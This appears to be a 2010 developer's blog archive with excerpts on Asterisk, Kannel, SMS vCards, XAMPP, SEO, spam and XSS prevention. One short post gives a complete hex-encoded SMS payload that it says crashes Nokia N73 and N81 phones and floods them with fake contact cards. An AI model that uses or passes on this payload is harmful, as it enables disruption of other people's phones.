Skip to main content

Posts

Showing posts from 2010

One way to reduce HTTP requests

CSS Data URI's are a way to encode images directly into CSS.  This helps to reduce the number of HTTP requests on your server.  For example:  Instead of linking to an external resource like a background image, your CSS can have the image available within it.  As soon as the CSS is loaded the browser is ready to render the image. This can have real speed advantages, especially if the browser is configured to limit the number of connections to a host.  By freeing up a connection you can improve your rendering time. Another advantage is that if you are serving across a secure connection then all of your page elements can originate from the same, secure site, and not generate those annoying warnings to your visitors that some elements are not secure. More information on CSS data URI is available at http://en.wikipedia.org/wiki/Data_URI_scheme Spritebaker ( http://http://www.spritebaker.com/ ) offers a free web-service.  They will take your CSS and parse...

Fixing mySQL CDR module compile error for Asterisk 1.6 in Ubuntu

There is a bug in the Ubuntu release (still in 10.04) that causes a mismatch between the Asterisk 1.6 package and its addon package. This results in the error message: WARNING[4238] loader.c: Module 'app_addon_sql_mysql.so' was not compiled with the same compile-time options as this version of Asterisk. To produce this error you just need to apt-get install asterisk-mysql in an effort to get the cdr logging to a mySQL database (assuming that you also used aptitude to install Asterisk 1.6 of course). In order to fix it do the following: aptitude purge asterisk-mysql apt-get build-dep asterisk-mysql apt-get -b source asterisk-mysql dpkg -i asterisk-mysql_1.6.2.0-1_i386.deb Do this in a temp folder as it will create a number of .deb packages. You may need to change the filename depending on your hardware architecture. The idea is to uninstall the faulty package that Ubuntu created and then compile a copy of the addons that matches the current Asterisk version. Since you've h...

Kannel Configuration

It took a whole day in front of an ssh screen onto my server to get Kannel up and running, but I finally managed to get a box ready to be tested. A very useful resource is the SMSC emulator from Selenium Software . They're kind enough to give it away, and it is definitely the pick of the litter compared to the other free options. I needed this because for some reason Kannel wasn't liking the fake SMSC setting. I had noticed that the binary file they refer to in their documentation was missing from my install (a Debian apt-get install kannel default). So I thought I would rather emulate an SMSC than fiddle with trying to get the fake one running. I had a few errors that were baffling due to the lack of thorough documentation, but the users@kannel.org list (subscription needed to send to it) was awesomely helpful. Within an hour of posting my config files and outlining what I had tried I had a solution thanks to a tip from them. The mailing list is searchable so it can take...

Getting cURL to work in XAMPP

I'm playing around with installing Magento in XAMPP at the moment and discovered that the XAMPP package does not ship with cURL enabled by default. Getting cURL to work in XAMPP was very simple: 1) Find the php.ini file (in \xampp\php ) 2) Open it in your favourite text editor and search for "curl" 3) You should see a line like this --> ;extension=php_curl.dll 4) Remove the semi-colon to uncomment the line and enable cURL 5) Restart the Apache server Of course this was also easy on my Kubuntu Linux box: sudo apt-get install php5-curl sudo apache2ctl restart

Installing PHPmyadmin on Kubuntu 9.10

I've now nearly fully given up on suckling from the breast of Microsoft. My little Linux laptop is now a fully functioning development box. I must say that so far I have had no separation anxiety as a result of leaving behind the sweaty manboobs of Microsoft and moving on to a more solid diet. Anyway installing PHPmyadmin is a cinch. I used Kpackagemanager (the Ubuntu version is Synaptic) to get the package. In retrospect I prefer the Debian apt-get approach of the command line but I like the GUI for its ability to search through all packages to discover cool new toys. The only trick to installing PHPmyadmin is that you need to reconfigure it once it is up. Jump to a Konsole and run the command: sudo dpkg-reconfigure -plow phpmyadmin This will give you the configuration options that the GUI installer does not. Specifically it sets up the config files so that Apache knows to alias the /phpmyadmin directory to the proper /etc/phpmyadmin. If for some reason (as was the...

Asterisk Open Source g.729 driver

Asterisk is an Open Source "all in one" telephony system. It's really hard to configure, but that's a story for another day. Asterisk and g.729 Asterisk supports the g.729 codec to compress audio. Digium, the guys who support Asterisk development, have a commercial offering on their site . There however is an open source g.729 codec implementation for Asterisk developed available ( click here, for some reason Blogger is hiding my link ). Installation questions are answered in the discussion on the Google group ( here ), but the installation is actually very simple. All you need to do is wget the appropriate file to your /usr/lib/asterisk/modules directory and then mv it to codec_g729.so (or codec_g723.so as may be). It should take you only a few minutes to work out which file version to download. Other Asterisk resource links I found these links to be invaluable in sorting out my installation: Click on this link if you are getting a Non existent user in As...

How to remotely destroy a Nokia N73 or Nokia N81

Send them an SMS with this text: //SCKL23F423F4990101 424547494e3a56434152440d0a464e3a43656c6c736d617274204a48420d0a54454c3b505245463a2b32373131363436373335330d0a454e443a56434152440d0a This is a vCard formatted according to the guidelines on the Nokia developer forums that for some reason crashes a Nokia N73 or Nokia N81. It causes them to receive hundreds of fake business cards. Even if they take the SIM card out they will continue to receive the cards.

Send a vCard in PHP with an SMPP gateway

I was recently asked to write a program that will send a broker's phone number as a vCard to a list of leads. There is a surprising number of pages dedicated to this problem, but no simple solutions. Here's a quick and easy PHP solution to the problem: $header = "//SCKL23F4 "; $vcard = bin2hex("BEGIN:VCARD\r\nFN:Cellsmart JHB\r\nTEL;PREF:+27116467353\r\nEND:VCARD\r\n"); $message = $header . $vcard; Then send the $message using your SMSC SMPP gateway as usual. The W3C has some notes on the vCard that has a useful example of a card but a Google search should quickly reveal the full standard details. Just by the way the $header variable is set to //SCKL23F4 because this is a newer format and is supposed to support vCards that need to be sent over two messages.

Detecting handset type in WAP websites

The supposedly standard method of retrieving a handset's capability is through UAPROF (see UAPROF on Wikipedia). Very simply put a mobile phone should send through identifying information when it retrieves a website. However, UAPROF is entirely voluntary and there are several problems associated with relying on it. Along comes WURFL , which touts itself as a free option to consider when looking to identify the capabilities of your visitors browsers. There are of course paid options to help you identify mobile phones visiting your site (such as device atlas ), but why pay for a service when you can get it free? At first glance WURFL looked very promising. It has an active project on Sourceforge and a set of API's for PHP, JAVA, and others. One immediate problem I encountered was that the current release revision (1.1.r2) of the WURFL API is buggy. Well that's not fair for me to say actually- the API works perfectly, it's just the example code that doesn't work ...

Should I do reciprocal linking on my site?

Reciprocal links are touch and go for a few reasons. The reason that incoming links are good is that search engines think your site is worthwhile if humans are linking to it. In other words, if a webmaster reviews your content and links to it then your content must be good (thinks the search engine). So people actively started to try and build links, to make search engines think that their content is good. The only thing is that search engines hate it when you do things just to optimize your site for search engines. Optimize your site for users , while making it easy for search engines to see what it's about (this is where the bold , italics , page title and headings come in) Search engines see reciprocal links as a distortion. The webmaster is not linking to you because your content is good, they're only linking to you because they're getting something in return (a link to their site, or even money). If you have a page of links that link to sites that are linking to yo...

A SEO letter to a new webmaster

Dear Webmaster, First off, I want to demystify search engine optimization. I've read so many blogs and books by specialists and it seems that most SEO specialists are actually marketing themselves rather than dispensing the very core knowledge that is required. There is really only one page whose opinion I trust and that is the official Google Guidelines for Webmasters (find it here - http://www.google.com/support/ webmasters/bin/answer.py?hl= en&answer=35769 ). Make sure that you read this page and ask me any questions that will clarify your understanding of it. If anybody tells you to do something other than what is written on this page be very careful. Yes - there are "tricks" in SEO. But think about it - Google hires teams of incredibly clever people (read Matt Cutts academic profile if you don't believe me). What are the chances that Google is going to be tricked for very long? Very slim. And Google punishes sites that have tricked it in the past. So...

Changing background color in SMIL

I've been working on a gateway system that will help a WASP to accept MMS requests and pass them on to the network for delivery to a mobile handset. For some reason the original designers of the gateway decided not to allow service consumers the ability to upload SMIL directly. Rather, an XML is POSTed to a webservice. The XML is then parsed into SMIL and handed to the network provider in a nice SOAP wrapper. Why is this a problem? Well it means that only the gateway only supports a subset of SMIL. So in order to make a slide look the way that our client wants it to look we have to modify the gateway code to allow text colours and backgrounds to change. Another problem I've had is that there seem to be very few SMIL tutorials online . When I'm learning a new language I usually pick up what I need by asking Google. Unfortunately even the mighty search engine draws a blank, provides hopelessly outdated pages, or documents like the technical specifications which I don...

Microsoft error message "452 4.3.1 Out of memory"

I'm troubleshooting a Microsoft mail server. I go through the logical process of realizing that unless Crazy Monkey Man has put some sort of voodoo magic on my server box there must be a good reason why a Microsoft product isn't working. *cough*. Right, I telnet onto the server, authenticate myself and try sending a "mail from:" command. I get the error message "452 4.3.1 Out of memory" which I assume means I'm out of memory. So I check my server memory to see that it still has 2 gig free and is under no heavy load right now. Hmm, how could an SMTP service demand 2gig of RAM I wonder? Not even Microsoft would be so daring to put a hardware requirement like that. The truth is that when Microsoft says that you're "Out of memory" what they actually mean is that you don't have write privileges to a particular folder ( click here if you don't believe me ). They just say you're out of memory to trick you. Sort of like Microsof...

PHP email Class

I was looking for a PHP SMTP email class and stumbled across this PHP email class by Manuel Lemos. PHPclasses.org is rapidly becoming my first port of call when I'm looking for a class to fill some general function in my code. Of all the scripting sites out there, and there are hundreds, this is possibly one of the few that I would recommend to people. One of the reasons that I liked the script was the debugging feature that showed the server responses as they happened. I've been busy setting up firewalls, SMTP relays, and IIS (hate hate hate) so it was useful to be able to get debug info from my client software. In any case the class worked flawlessly first time, it's free to use, and my client is happy.

Squid proxy server

My job title is "PHP developer" but because I'm the only person in the office familiar with Linux I get roped into administering the LAMP stack and other systems roles. Yesterday I was asked to investigate methods of monitoring individual bandwidth use. I've installed Squid proxy server so that all traffic is getting routed through my pet Linux box that I keep spare just for such occasions. Right, now I'm asked to install software to filter out sites not related to work (like OkCupid... uhoh). So I find a program that slots into Squid and install it. Bang! Facebook and all other sites mysteriously get replaced with a kitten (from icanhazcheeseburger.com) chewing network cables captioned as "Ohnoes!!!1 kitty is eating my megahurtz!". Putting me in charge results in silliness. I hope they do it less often. Anyway, despite my best efforts to make the access denied picture cute and adorable my users still hate me. It's tough being a webslave. A li...

Prevent XSS attacks

XSS (Cross Site Scripting) is a surprisingly easy weakness to exploit on unprepared websites. To describe it at its highest level an XSS attack involves injecting code into a webpage and having a user execute it on the grounds that they trust the website you have hijacked. There are a great many vectors for an XSS attack to come through, but for the most part applying a few simple safety precautions will greatly improve your site security. XSS attacks can be split into one of three categories: Stored XSS attacks - are those where the attacker stores malicious code in your database, forum, comment section or elsewhere on your site. The victim receives the code when they request that particular content from your website. Reflected XSS attacks - are those where the malicious code is reflected off the server and sent to the victim as part of search results, emails, error messages, etc. This can be set up by tricking the victim into clicking a specially crafted link (or filli...

Google Guideline - How spiders view your site

In its "Guidelines for Webmasters" document Google notes that " search engine spiders see your site much as Lynx would ". A web spider is a program that searches through the internet for content ( see here for more definitions .) Lynx is a web browser that was used in the good old days of internet before we had fancy things like mouses, graphics, or sliced bread. Put very simply Lynx is a bareboned web browser that supports a minimal set of features. You can download a free copy from this website . There are other uses for Lynx other than SEO (such as pinging a webpage in a crontab), but for SEO it is mainly used for usability and visibility testing. If you don't feel like installing new software there are a number of online spider emulators that will try to show you how a spider views your website. One that I found is available here . Now that we have the means to see how Google spiders view our website we can have a look at what implications the...

Getting Google to notice you

Keep it simple I've read so many articles by SEO experts outlining how to get a high position on search engines. After ranking a website at number 1, and keeping it there for well over a year now I can offer some solid advice. The truth is that getting a good, sustainable ranking is a relatively simple affair. However, SEO experts want to make it sound as complicated as possible. How else will they be able to charge you their consultancy fee? Before you continue reading my blog read this link: Google Guidelines for Webmasters . If you adhere to those guidelines you will get ranked. Stating the bleeding obvious Question: How does Google make money? Answer: Primarily by selling advertising. Question: How does Google make money from advertising? Answer: By getting lots of people to look at it and click through to their clients Question: How does Google get lots of people to look at their adverts? Answer: By have a good service that they want to use (the search engine) Question: How...

5 practical ways to reduce spam

Internet "spam" is a term coined to describe unsolicited emails that companies and individuals send out en masse. Because it is very cheap to send an email spammers will send millions of emails out. Even if just one or two people purchase their product the spammer will still make a profit. Spam ranges from being simply annoying to being an outright scam or even dangerous. Consider as an example the ability to purchase medication without needing to see a doctor or obtain a prescription. Spammers send this information out to children. Spam messages eat up a large amount of internet bandwidth which leads to service degradation for legitimate users. It has become such a problem worldwide that many countries are adopting legislation to combat it. Spam Statistics Currently the world's worst offending country is the United States, followed by China and the Russian Federation. America has adopted the CANSPAM act which is aimed at reducing spam, but this has yet to show sig...